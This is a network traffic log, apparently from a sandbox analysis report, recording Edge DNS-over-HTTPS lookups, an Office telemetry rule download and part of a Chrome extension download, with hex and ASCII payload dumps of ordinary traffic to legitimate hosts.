2024-11-24 22:24:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 21 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom!()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49772	162.159.61.3	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 22:24:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 22:24:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 22:24:30 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7ccf41addf4393-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 22:24:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e9 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49780	172.64.41.3	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 22:24:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 22:24:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 22:24:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7ccf42eb574303-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 22:24:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 25 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom%))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49781	162.159.61.3	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 22:24:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 22:24:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 22:24:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7ccf42efc97279-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 22:24:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49779	162.159.61.3	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 22:24:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 22:24:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 22:24:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7ccf4328d942b9-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 22:24:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 07 00 04 ac d9 a5 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:31 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: bddf9f2e-a01e-0002-120c-3d5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222431Z-178bfbc474bwh9gmhC1NYCy3rs00000006r0000000005rrw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49771	142.250.181.65	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:31 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:32 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5isHQgmb4u0tVksA5hf1k3MbnVznHKmZB6lTKqoNZctsPSRpHdFo-Oey6vXSF6fQvBhWylcQdPxw X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sun, 24 Nov 2024 16:45:00 GMT Expires: Mon, 24 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 20371 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-24 22:24:32 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-24 22:24:32 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-24 22:24:32 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-24 22:24:32 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-24 22:24:32 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-24 22:24:32 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-24 22:24:32 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-24 22:24:32 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-24 22:24:32 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
